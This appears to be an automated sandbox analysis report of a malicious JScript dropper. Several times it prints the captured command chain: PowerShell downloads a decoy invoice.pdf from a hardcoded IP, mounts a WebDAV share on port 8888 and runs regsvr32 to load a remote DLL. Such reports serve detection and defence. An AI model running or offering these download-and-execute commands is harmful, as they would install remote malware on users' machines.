Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6579.js.csv");ITextStream.WriteLine(" entry:6954 f:agomolue");ITextStream.WriteLine(" exec:2 f:agomolue");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4605			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5198			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7720	Thread sleep count: 4605 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7720	Thread sleep count: 5198 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7792	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7820	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8008	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7228	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1562602186.0000029EC0AE0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1563064473.0000029EC0B38000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2728192309.0000025165C58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2726546064.000002516042B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

